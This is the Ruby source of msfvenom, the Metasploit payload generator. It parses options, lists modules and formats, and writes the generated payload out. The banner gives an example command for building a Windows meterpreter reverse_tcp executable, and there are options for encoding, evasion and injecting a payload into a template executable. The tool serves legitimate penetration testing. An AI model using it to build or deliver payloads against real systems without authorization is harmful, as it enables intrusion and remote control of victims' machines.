#!/usr/bin/env ruby
# -*- coding: binary -*-

ENV['BUNDLE_GEMFILE'] ||= File.expand_path('Gemfile', __dir__)
require 'bundler/setup'

class MsfVenomError < StandardError; end
class HelpError < StandardError; end
class UsageError < MsfVenomError; end

require 'optparse'
require 'timeout'

# Silences warnings as they only serve to confuse end users
if defined?(Warning) && Warning.respond_to?(:[]=)
  Warning[:deprecated] = false
end

msfbase = __FILE__
while File.symlink?(msfbase)
  msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end

$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))

require 'metasploit/framework/profiler'
Metasploit::Framework::Profiler.start

def require_deps
  require 'msfenv'

  $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']

  require 'rex'
  require 'msf/core/payload_generator'
  require 'msf/core/constants'

  unless $stdout.tty?
    Rex::Text::Table.unwrap_tables!
  end

  @framework_loaded = true
end

# Creates a new framework object.
#
# @note Ignores any previously cached value.
# @param (see ::Msf::Simple::Framework.create)
# @return [Msf::Framework]
def init_framework(create_opts={})
  require_deps unless @framework_loaded

  create_opts[:module_types] ||= [
    ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP
  ]

  create_opts[:module_types].map! do |type|
    Msf.const_get("MODULE_#{type.upcase}")
  end

  @framework = ::Msf::Simple::Framework.create(create_opts)
end

# Cached framework object
#
# @return [Msf::Framework]
def framework
  return @framework if @framework

  init_framework

  @framework
end

def parse_args(args)
  opts = {}
  datastore = {}
  opt = OptionParser.new
  banner = "MsfVenom - a Metasploit standalone payload generator.\n"
  banner << "Also a replacement for msfpayload and msfencode.\n"
  banner << "Usage: #{$0} [options] <var=val>\n"
  banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe"
  opt.banner = banner
  opt.separator('')
  opt.separator('Options:')

  opt.on('-l', '--list            <type>', Array, 'List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all') do |l|
    if l.to_s.empty?
      l = ["all"]
    end
    opts[:list] = l
  end

  opt.on('-p', '--payload         <payload>', String,
         "Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom") do |p|
    if p == '-'
      opts[:payload] = 'stdin'
    else
      opts[:payload] = p
    end
  end

  opt.on('--list-options', "List --payload <value>'s standard, advanced and evasion options") do
    opts[:list_options] = true
  end

  opt.on('-f', '--format          <format>', String, "Output format (use --list formats to list)") do |f|
    opts[:format] = f.downcase
  end

  opt.on('-e', '--encoder         <encoder>', String, 'The encoder to use (use --list encoders to list)') do |e|
    opts[:encoder] = e
  end

  opt.on('--service-name    <value>', String, 'The service name to use when generating a service binary') do |s|
    opts[:servicename] = s
    opts[:sub_method] = true # Needed to ensure that to_win32pe_service() will call
                             # exe_sub_method() for x86 binaries, not needed and ignored for x64 binaries.
  end

  opt.on('--sec-name        <value>', String, 'The new section name to use when generating large Windows binaries. Default: random 4-character alpha string') do |s|
    opts[:secname] = s
  end

  opt.on('--smallest', 'Generate the smallest possible payload using all available encoders') do
    opts[:smallest] = true
  end

  opt.on('--encrypt         <value>', String, 'The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)') do |e|
    opts[:encryption_format] = e
  end

  opt.on('--encrypt-key     <value>', String, 'A key to be used for --encrypt') do |e|
    init_framework
    opts[:encryption_key] = Rex::Text.dehex(e)
  end

  opt.on('--encrypt-iv      <value>', String, 'An initialization vector for --encrypt') do |e|
    opts[:encryption_iv] = e
  end

  opt.on('-a', '--arch            <arch>', String, 'The architecture to use for --payload and --encoders (use --list archs to list)') do |a|
    opts[:arch] = a
  end

  opt.on('--platform        <platform>', String, 'The platform for --payload (use --list platforms to list)') do |l|
    opts[:platform] = l
  end

  opt.on('-o', '--out             <path>', 'Save the payload to a file') do |x|
    opts[:out] = x
  end

  opt.on('-b', '--bad-chars       <list>', String, 'Characters to avoid example: \'\x00\xff\'') do |b|
    init_framework
    opts[:badchars] = Rex::Text.dehex(b)
  end

  opt.on('-n', '--nopsled         <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
    opts[:nops] = n.to_i
  end

  opt.on('--pad-nops', 'Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)') do
    opts[:padnops] = true
  end

  opt.on('-s', '--space           <length>', Integer, 'The maximum size of the resulting payload') do |s|
    opts[:space] = s
  end

  opt.on('--encoder-space   <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
    opts[:encoder_space] = s
  end

  opt.on('-i', '--iterations      <count>', Integer, 'The number of times to encode the payload') do |i|
    opts[:iterations] = i
  end

  opt.on('-c', '--add-code        <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
    opts[:add_code] = x
  end

  opt.on('-x', '--template        <path>', String, 'Specify a custom executable file to use as a template') do |x|
    opts[:template] = x
  end

  opt.on('-k', '--keep', 'Preserve the --template behaviour and inject the payload as a new thread') do
    opts[:keep] = true
  end

  opt.on('-v', '--var-name        <value>', String, 'Specify a custom variable name to use for certain output formats') do |x|
    opts[:var_name] = x
  end

  opt.on('-t', '--timeout         <second>', Integer, "The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)") do |x|
    opts[:timeout] = x
  end

  opt.on('--refresh-cache', 'Rebuild the module metadata cache from disk before listing') do
    opts[:refresh_cache] = true
  end

  opt.on_tail('-h', '--help', 'Show this message') do
    raise HelpError, "#{opt}"
  end

  begin
    opt.parse!(args)
  rescue OptionParser::InvalidOption => e
    raise UsageError, "Invalid option\n#{opt}"
  rescue OptionParser::MissingArgument => e
    raise UsageError, "Missing required argument for option\n#{opt}"
  end

  if opts.empty?
    raise UsageError, "No options\n#{opt}"
  end

  if args
    args.each do |x|
      k,v = x.split('=', 2)
      datastore[k.upcase] = v.to_s
    end
    if opts[:payload].to_s =~ /[\_\/]reverse/ && datastore['LHOST'].nil?
      init_framework
      datastore['LHOST'] = Rex::Socket.source_address
    end
  end

  if opts[:payload].nil? # if no payload option is selected assume we are reading it from stdin
    opts[:payload] = "stdin"
  end

  if opts[:payload].downcase == 'stdin' && !opts[:list] && !opts[:refresh_cache]
    $stderr.puts "Attempting to read payload from STDIN..."
    begin
      opts[:timeout] ||= 30
      ::Timeout.timeout(opts[:timeout]) do
        opts[:stdin] = payload_stdin
      end
    rescue Timeout::Error
      opts[:stdin] = ''
    end
  end

  opts[:datastore] = datastore

  opts
end
# Read a raw payload from stdin (or whatever IO object we're currently
# using as stdin, see {#initialize})
#
# @return [String]
def payload_stdin
  @in = $stdin
  @in.binmode
  payload = @in.read
  payload
end

def dump_platforms
  require_deps unless @framework_loaded
  supported_platforms = []
  Msf::Module::Platform.subclasses.each {|c| supported_platforms << c.realname.downcase}

  tbl = Rex::Text::Table.new(
    'Indent'  => 4,
    'Header'  => "Framework Platforms [--platform <value>]",
    'Columns' =>
    [
      "Name",
    ])

  supported_platforms.sort.each do |name|
    tbl << [name]
  end

  "\n" + tbl.to_s + "\n"
end

def dump_archs
  require_deps unless @framework_loaded
  supported_archs = ARCH_ALL.dup

  tbl = Rex::Text::Table.new(
    'Indent'  => 4,
    'Header'  => "Framework Architectures [--arch <value>]",
    'Columns' =>
    [
      "Name",
    ])

  supported_archs.sort.each do |name|
    tbl << [name]
  end

  "\n" + tbl.to_s + "\n"
end

def dump_encrypt
  require_deps unless @framework_loaded
  tbl = Rex::Text::Table.new(
    'Indent'  => 4,
    'Header'  => "Framework Encryption Formats [--encrypt <value>]",
    'Columns' =>
    [
      "Name",
    ])

  ::Msf::Simple::Buffer.encryption_formats.each do |name|
    tbl << [ name]
  end

  "\n" + tbl.to_s + "\n"
end

def dump_formats
  require_deps unless @framework_loaded
  tbl1 = Rex::Text::Table.new(
    'Indent'  => 4,
    'Header'  => "Framework Executable Formats [--format <value>]",
    'Columns' =>
    [
      "Name"
    ])

  ::Msf::Util::EXE.to_executable_fmt_formats.each do |name|
    tbl1 << [ name ]
  end

  tbl2 = Rex::Text::Table.new(
    'Indent'  => 4,
    'Header'  => "Framework Transform Formats [--format <value>]",
    'Columns' =>
    [
      "Name"
    ])

  ::Msf::Simple::Buffer.transform_formats.each do |name|
    tbl2 << [ name ]
  end

  "\n" + tbl1.to_s + "\n" + tbl2.to_s + "\n"
end

def dump_payloads(platform = nil, arch = nil)
  require_deps unless @framework_loaded
  metadata_cache = Msf::Modules::Metadata::Cache.instance
  all_payloads = metadata_cache.get_metadata.select { |m| m.type == 'payload' }

  platform_filter = platform ? Msf::Module::PlatformList.transform(platform.split(',').map(&:strip).reject(&:empty?)) : nil
  arch_filter = arch ? arch.split(',').map(&:strip).reject(&:empty?) : nil

  filtered = all_payloads.select do |m|
    next false if arch_filter && (Array(m.arch.to_s.split(',').map(&:strip)) & arch_filter).empty?

    next false if platform_filter && m.platform_list && (m.platform_list & platform_filter).empty?

    true
  end

  tbl = Rex::Text::Table.new(
    'Indent'  => 4,
    'Header'  => "Framework Payloads (#{all_payloads.size} total) [--payload <value>]",
    'Columns' =>
    [
      "Name",
      "Description"
    ])

  filtered.sort_by(&:ref_name).each do |m|
    tbl << [ m.ref_name, m.description.to_s.split.join(' ') ]
  end

  "\n" + tbl.to_s + "\n"
end

def dump_encoders(arch = nil)
  require_deps unless @framework_loaded
  metadata_cache = Msf::Modules::Metadata::Cache.instance
  all_encoders = metadata_cache.get_metadata.select { |m| m.type == 'encoder' }

  arch_filter = arch ? arch.split(',').map(&:strip).reject(&:empty?) : nil

  filtered = all_encoders.select do |m|
    next false if arch_filter && (Array(m.arch.to_s.split(',').map(&:strip)) & arch_filter).empty?

    true
  end

  tbl = Rex::Text::Table.new(
    'Indent'  => 4,
    'Header'  => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : "") + " [--encoder <value>]",
    'Columns' =>
    [
      "Name",
      "Rank",
      "Description"
    ])
  cnt = 0

  filtered.sort_by(&:ref_name).each do |m|
    tbl << [ m.ref_name, Msf::RankingName[m.rank] || 'normal', m.name ]
    cnt += 1
  end

    (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n"
end

def dump_nops
  require_deps unless @framework_loaded
  metadata_cache = Msf::Modules::Metadata::Cache.instance
  all_nops = metadata_cache.get_metadata.select { |m| m.type == 'nop' }

  tbl = Rex::Text::Table.new(
    'Indent'  => 4,
    'Header'  => "Framework NOPs (#{all_nops.size} total)",
    'Columns' =>
    [
      "Name",
      "Description"
    ])

  all_nops.sort_by(&:ref_name).each do |m|
    tbl << [ m.ref_name, m.description.to_s.split.join(' ') ]
  end

  "\n" + tbl.to_s + "\n"
end

begin
  generator_opts = parse_args(ARGV)

rescue HelpError => e
  $stderr.puts e.message
  exit(1)
rescue MsfVenomError => e
  $stderr.puts "Error: #{e.message}"
  exit(1)
end

if generator_opts[:refresh_cache]
  warn 'Refreshing module metadata cache...'
  require_deps unless @framework_loaded
  @framework = ::Msf::Simple::Framework.create({})
  # Ensure the background cache load thread has finished before refreshing,
  # otherwise it can race and overwrite the refreshed in-memory cache.
  Msf::Modules::Metadata::Cache.instance.get_metadata
  framework.modules.refresh_cache_from_module_files
  warn 'Module cache successfully refreshed.'
  # If no other action was requested, exit after refreshing
  unless generator_opts[:list] || generator_opts[:list_options] || generator_opts[:payload] != 'stdin'
    exit(0)
  end
end

if generator_opts[:list]
  generator_opts[:list].each do |mod|
    case mod.downcase
    when "payloads", "payload", "p"
      $stdout.puts dump_payloads(generator_opts[:platform], generator_opts[:arch])
    when "encoders", "encoder", "e"
      $stdout.puts dump_encoders(generator_opts[:arch])
    when "nops", "nop", "n"
      $stdout.puts dump_nops
    when "platforms", "dump_platform"
      $stdout.puts dump_platforms
    when "archs", "dump_arch"
      $stdout.puts dump_archs
    when "encrypts", "encrypt", "encryption"
      $stdout.puts dump_encrypt
    when "formats", "format", "f"
      $stdout.puts dump_formats
    when "all", "a"
      $stdout.puts dump_payloads
      $stdout.puts dump_encoders
      $stdout.puts dump_nops
      $stdout.puts dump_platforms
      $stdout.puts dump_archs
      $stdout.puts dump_encrypt
      $stdout.puts dump_formats
    else
      $stderr.puts "Invalid type (#{mod}). These are valid: payloads, encoders, nops, platforms, archs, encrypt, formats, all"
    end
  end
  exit(0)
end

if generator_opts[:list_options]
  payload_mod = framework.payloads.create(generator_opts[:payload])

  if payload_mod.nil?
    $stderr.puts "Invalid payload: #{generator_opts[:payload]}"
    exit(1)
  end

  $stderr.puts "Options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
  $stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod, '    ')

  $stderr.puts "\nAdvanced options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
  $stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, '    ')

  $stderr.puts "\nEvasion options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
  $stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, '    ')

  exit(0)
end

generator_opts[:framework] = framework
generator_opts[:cli] = true

begin
  venom_generator = Msf::PayloadGenerator.new(generator_opts)
  payload = venom_generator.generate_payload
rescue Msf::InvalidFormat => e
  $stderr.puts "Error: #{e.message}"
  $stderr.puts dump_formats
rescue ::Exception => e
  elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
  $stderr.puts "Error: #{e.message}"
end

# No payload generated, no point to go on
exit(2) unless payload

if generator_opts[:out]
  begin
    ::File.open(generator_opts[:out], 'wb') do |f|
      f.write(payload)
    end
    $stderr.puts "Saved as: #{generator_opts[:out]}"
  rescue ::Exception => e
    # If I can't save it, then I can't save it. I don't think it matters what error.
    elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
    $stderr.puts "Error: #{e.message}"
  end
else
  output_stream = $stdout
  output_stream.binmode
  output_stream.write payload
  # trailing newline for pretty output
  $stderr.puts unless payload =~ /\n$/
end